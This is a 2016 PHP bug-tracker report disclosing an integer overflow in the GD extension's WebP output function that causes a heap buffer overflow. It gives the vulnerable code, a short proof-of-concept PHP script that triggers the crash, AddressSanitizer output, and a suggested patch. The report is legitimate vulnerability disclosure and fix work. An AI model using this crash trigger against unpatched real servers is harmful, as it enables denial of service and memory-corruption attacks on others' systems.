|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[2016-09-02 12:52 UTC] stackexploit at gmail dot com
Description:
------------
PHP VERSION
-----------------------
./sapi/cli/php --version
PHP 7.2.0-dev (cli) (built: Sep 2 2016 18:11:16) ( NTS )
Copyright (c) 1997-2016 The PHP Group
Zend Engine v3.1.0-dev, Copyright (c) 1998-2016 Zend Technologies
PROOF-OF-CONCEPT FILE
-----------------------
Posted in the "Test script" section.
CONFIGURE LINE
-----------------------
./configure --with-gd --with-webp-dir --enable-static --enable-cli --disable-shared --disable-all
OTHER INFORMATION
-----------------------
Before compile the php source code, we must install libwebp first. The proof-of-concept file I supplied may consume lots of memory. To reproduce this issue more quickly, please run the command "export USE_ZEND_ALLOC=0" in terminal to disable ZEND heap management.
STACKTRACE
-----------------------
Posted in the "Actual result" section.
VULNERABILITY DETAILS
-----------------------
This is an integer overflow issue which could lead to heap buffer overflow (out-of-bounds write) circumstances. The bad code lies in function gdImageWebpCtx of file gd_webp.c. At line 123 we can see the following code.
argb = (uint8_t *)gdMalloc(gdImageSX(im) * 4 * gdImageSY(im)); // integer overflow!!!
There is no overflow check before calling the gdMalloc function. Actually, an integer overflow can be happened here. For example, 0x8000 * 0x8001 * 4 = 0x100020000 -> Overflow -> 0x20000. The buffer will be overflowed in the following for-loop.
for (y = 0; y < gdImageSY(im); y++) {
for (x = 0; x < gdImageSX(im); x++) {
register int c;
register char a;
c = im->tpixels[y][x];
a = gdTrueColorGetAlpha(c);
if (a == 127) {
a = 0;
} else {
a = 255 - ((a << 1) + (a >> 6));
}
*(p++) = gdTrueColorGetRed(c); // heap buffer overflow!!!
*(p++) = gdTrueColorGetGreen(c); // heap buffer overflow!!!
*(p++) = gdTrueColorGetBlue(c); // heap buffer overflow!!!
*(p++) = a; // heap buffer overflow!!!
}
}
SIMPLE PATCH
-----------------------
Add the following code before line 123. In other words, call function overflow2 to check if overflow exists or not before calling function gdMalloc.
if (overflow2(gdImageSX(im), 4)) {
return NULL;
}
if (overflow2(gdImageSX(im) * 4, gdImageSY(im))) {
return NULL;
}
CREDIT
-----------------------
This vulnerability was discovered by Ke Liu of Tencent's Xuanwu LAB.
Test script:
---------------
<?php
ini_set('memory_limit', -1);
$im = imagecreatetruecolor(0x8000, 0x8001);
imagewebp($im, 'php.webp');
imagedestroy($im);
?>
Expected result:
----------------
Exit quietly.
Actual result:
--------------
==2583==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ff13d43e800 at pc 0x000000a77d0d bp 0x7ffe8ecdae90 sp 0x7ffe8ecdae88
WRITE of size 1 at 0x7ff13d43e800 thread T0
#0 0xa77d0c in gdImageWebpCtx php-src-master/ext/gd/libgd/gd_webp.c:139:4
#1 0x9c0aac in _php_image_output_ctx php-src-master/ext/gd/gd_ctx.c:175:6
#2 0x9aab7d in zif_imagewebp php-src-master/ext/gd/gd.c:2690:2
#3 0x2655967 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER php-src-master/Zend/zend_vm_execute.h:628:2
#4 0x20399e0 in execute_ex php-src-master/Zend/zend_vm_execute.h:432:7
#5 0x203f75a in zend_execute php-src-master/Zend/zend_vm_execute.h:474:2
#6 0x1b41033 in zend_execute_scripts php-src-master/Zend/zend.c:1464:4
#7 0x160a813 in php_execute_script php-src-master/main/main.c:2537:14
#8 0x2babd79 in do_cli php-src-master/sapi/cli/php_cli.c:990:5
#9 0x2ba4f0d in main php-src-master/sapi/cli/php_cli.c:1378:18
#10 0x7ff25026ff44 in __libc_start_main /build/eglibc-oGUzwX/eglibc-2.19/csu/libc-start.c:287:0
#11 0x469856 in _start ??:0:0
0x7ff13d43e800 is located 0 bytes to the right of 131072-byte region [0x7ff13d41e800,0x7ff13d43e800)
allocated by thread T0 here:
#0 0x4f0812 in malloc ??:0:0
#1 0x18e6886 in _emalloc php-src-master/Zend/zend_alloc.c:2402:11
#2 0xa774b0 in gdImageWebpCtx php-src-master/ext/gd/libgd/gd_webp.c:123:20
#3 0x9c0aac in _php_image_output_ctx php-src-master/ext/gd/gd_ctx.c:175:6
#4 0x9aab7d in zif_imagewebp php-src-master/ext/gd/gd.c:2690:2
#5 0x2655967 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER php-src-master/Zend/zend_vm_execute.h:628:2
#6 0x20399e0 in execute_ex php-src-master/Zend/zend_vm_execute.h:432:7
#7 0x203f75a in zend_execute php-src-master/Zend/zend_vm_execute.h:474:2
#8 0x1b41033 in zend_execute_scripts php-src-master/Zend/zend.c:1464:4
#9 0x160a813 in php_execute_script php-src-master/main/main.c:2537:14
#10 0x2babd79 in do_cli php-src-master/sapi/cli/php_cli.c:990:5
#11 0x2ba4f0d in main php-src-master/sapi/cli/php_cli.c:1378:18
#12 0x7ff25026ff44 in __libc_start_main /build/eglibc-oGUzwX/eglibc-2.19/csu/libc-start.c:287:0
SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 ??
Shadow bytes around the buggy address:
0x0ffea7a7fcb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ffea7a7fcc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ffea7a7fcd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ffea7a7fce0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ffea7a7fcf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0ffea7a7fd00:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ffea7a7fd10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ffea7a7fd20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ffea7a7fd30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ffea7a7fd40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ffea7a7fd50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==2583==ABORTING
PatchesPull Requests
Pull requests:
HistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Thu Oct 30 22:00:01 2025 UTC |
To correct the patch code: just return when overflow was detected. if (overflow2(gdImageSX(im), 4)) { return ; } if (overflow2(gdImageSX(im) * 4, gdImageSY(im))) { return ; }